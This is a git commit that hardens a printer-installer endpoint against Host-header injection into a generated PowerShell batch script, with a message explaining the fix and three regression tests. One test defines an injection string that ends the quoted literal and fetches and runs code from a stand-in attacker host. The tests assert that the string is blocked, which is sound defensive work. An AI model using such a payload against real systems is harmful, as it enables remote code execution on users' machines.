Stop a request-supplied host reaching the generated installer script

Found by the Darkwing scan of main (run 33654922078). Its own review dismissed
the finding as not remotely exploitable and it is right about that: nothing can
make a victim's browser attach a custom header, and deploy/windows/web.config
does no output caching. It still recommended the hardening, and the reasoning
for the dismissal is a property of OUR IIS config, not of the product - every
site runs its own instance behind its own proxy under ADR-004.

_batch_base_url() interpolated a caller-supplied host into the single-quoted
PowerShell -Uri literal of the .bat this route hands out. site_base_url ships
blank, so that fallback is the default path on a fresh install, not an edge
case, and GET /api/printers/install-batch is public.

Three rules now:
  - the host is validated as a hostname before it is interpolated, so the quote
    that would end the literal never reaches it,
  - X-Forwarded-Host is only believed when TRUSTED_PROXY_COUNT declares a proxy
    -- the rule shopdb/utils/clientip.py already applies to X-Forwarded-For.
    That was centralised for this exact reason and did not cover the Host
    variant,
  - a request supplying neither usable header gets a relative base, which still
    downloads correctly from the browser that fetched the script.

Three tests pin it, and all three were confirmed to fail with the old body
restored rather than assumed to cover it.

Scope: product
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cproudlock
2026-09-02 13:52:06 -04:00
parent 302a309b9d
commit f3a291a28d
2 changed files with 102 additions and 3 deletions

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@@ -102,3 +102,62 @@ def test_install_batch_resolves_vendor_via_model(
def test_install_batch_requires_ids(client, db, auth_headers, printer_assettype):
resp = client.get('/api/printers/install-batch', headers=auth_headers)
assert resp.status_code == 400
# --- the generated script is a script: what reaches it must be a hostname -----
#
# _batch_base_url() interpolates a request-supplied host into the single-quoted
# PowerShell -Uri literal of the .bat this route hands out, and site_base_url
# ships blank, so that fallback is the DEFAULT path rather than an edge case.
# A quote in the host would end the literal. These pin the three rules that stop
# it: validate the Host, only believe X-Forwarded-Host behind a declared proxy,
# and emit a relative base rather than a host we cannot vouch for.
INJECT = "evil';iex(iwr http://attacker/x);'"
def test_install_batch_refuses_a_host_that_is_not_a_hostname(
client, db, auth_headers, printer_assettype):
hp = _vendor(db, 'HP')
pid = _make_printer(client, auth_headers, assetnumber='CSF04-WJRP2035-HP',
hostname='wjprn01', vendorid=hp.vendorid)
resp = client.get('/api/printers/install-batch?printerids=%d' % pid,
headers={**auth_headers, 'Host': INJECT})
assert resp.status_code == 200
bat = resp.get_data(as_text=True)
assert 'iex' not in bat
assert 'attacker' not in bat
# No host survived, so the download URL is relative rather than poisoned.
assert "-Uri '/installers/PrinterInstaller.exe'" in bat
def test_install_batch_ignores_forwarded_host_with_no_declared_proxy(
client, db, auth_headers, printer_assettype):
"""TRUSTED_PROXY_COUNT defaults to 0, so the header is caller-supplied and
must not be believed - the same rule clientip.py applies to
X-Forwarded-For."""
hp = _vendor(db, 'HP')
pid = _make_printer(client, auth_headers, assetnumber='CSF04-WJRP2035-HP',
hostname='wjprn01', vendorid=hp.vendorid)
resp = client.get('/api/printers/install-batch?printerids=%d' % pid,
headers={**auth_headers,
'X-Forwarded-Host': 'attacker.example'})
assert resp.status_code == 200
bat = resp.get_data(as_text=True)
assert 'attacker.example' not in bat
def test_install_batch_uses_a_real_forwarded_host_behind_a_declared_proxy(
client, db, auth_headers, printer_assettype, app):
hp = _vendor(db, 'HP')
pid = _make_printer(client, auth_headers, assetnumber='CSF04-WJRP2035-HP',
hostname='wjprn01', vendorid=hp.vendorid)
app.config['TRUSTED_PROXY_COUNT'] = 1
try:
resp = client.get('/api/printers/install-batch?printerids=%d' % pid,
headers={**auth_headers,
'X-Forwarded-Host': 'shopdb.example.net'})
bat = resp.get_data(as_text=True)
assert 'https://shopdb.example.net/installers/' in bat
finally:
app.config['TRUSTED_PROXY_COUNT'] = 0